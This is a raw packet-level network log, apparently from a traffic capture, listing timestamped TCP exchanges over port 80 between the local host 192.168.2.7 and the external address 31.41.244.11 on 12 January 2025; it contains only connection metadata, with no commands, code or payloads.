Jan 12, 2025 17:39:13.505844116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505861998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505876064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505935907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.505935907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.505961895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505974054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.505994081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.506006002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.506019115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.506031990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.506057978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.506057978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.506057978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.506057978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.506069899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.506077051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.506191969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.506201982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.506217003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.506236076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.506237984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.506237984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.506237984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.506247997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.506258965 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.506269932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.506315947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.506315947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.506315947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561050892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561086893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561115980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561139107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561167955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561206102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561206102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561206102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561222076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561249971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561306953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561340094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561350107 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561350107 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561368942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561391115 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561434031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561451912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561487913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561537027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561575890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561589003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561589003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561589003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561608076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561641932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561644077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561652899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561671972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561705112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561722994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561722994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561736107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561772108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561799049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561815023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561815023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561815023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561837912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561842918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561887026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561909914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561916113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561929941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561964035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.561985016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.561999083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562026024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562062025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562096119 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562105894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562105894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562105894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562128067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562160969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562189102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562206030 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562206030 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562218904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562254906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562292099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562293053 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562293053 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562303066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562354088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562386036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562406063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562406063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562418938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562450886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562484026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562484026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562484026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562524080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562525034 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562530994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562578917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562582016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562628984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562665939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562674046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562674046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562712908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562746048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562762976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562762976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562778950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562783957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562813044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562840939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562872887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562882900 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562882900 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562882900 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562905073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562936068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562973022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.562978029 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562978029 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.562978029 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563004971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563040018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563044071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563044071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563069105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563101053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563134909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563136101 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563136101 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563167095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563199043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563205957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563205957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563205957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563230991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563262939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563293934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563308001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563308001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563308001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563347101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563380957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563406944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563406944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563415051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563445091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563477993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563484907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563484907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563484907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563504934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563535929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563569069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563580036 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563580036 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563580036 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563596964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.563642025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.563642025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.590951920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.590964079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.590976954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.590996981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591007948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591022015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591027021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591041088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591052055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591063976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591077089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591082096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591085911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591094971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591105938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591116905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591129065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591129065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591133118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591145992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591159105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591170073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591180086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591192007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591201067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591201067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591201067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591206074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591217041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591228008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591237068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591250896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591257095 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591257095 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591262102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591274023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591276884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591276884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591284037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591335058 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591335058 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591424942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591435909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591445923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591456890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591469049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591480017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591500998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591500998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591500998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591517925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591521025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591533899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591543913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591556072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591561079 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591561079 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591567993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591583014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591592073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591605902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591619968 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591630936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591900110 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591943026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591953993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591968060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591973066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591984987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.591993093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.591995955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592022896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592024088 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.592035055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592102051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592119932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.592120886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.592123032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592137098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592186928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.592186928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.592186928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.592217922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592236042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592247009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592257977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592262983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.592271090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592334986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.592334986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.592443943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592453957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592463970 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592475891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592487097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592499018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592509031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592521906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592533112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592544079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.592564106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.592564106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.592564106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.592802048 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.647591114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647623062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647634983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647645950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647665024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647677898 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647687912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647697926 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.647700071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647717953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647727966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.647732973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647743940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647756100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647761106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.647761106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.647805929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647819996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647831917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647841930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647846937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.647846937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.647846937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.647855043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647865057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647869110 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.647876024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647921085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647929907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.647929907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.647933006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647950888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647963047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647969007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.647974968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.647984982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648001909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.648003101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648015976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648026943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648040056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648051977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648057938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.648057938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.648065090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648073912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.648119926 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.648119926 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.648125887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648138046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648149014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648159981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648170948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648181915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648194075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648196936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.648196936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.648207903 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648256063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.648256063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.648262024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648274899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648288965 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648298025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.648359060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.648359060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.648487091 CET	80	49975	31.41.244.11	192.168.2.7
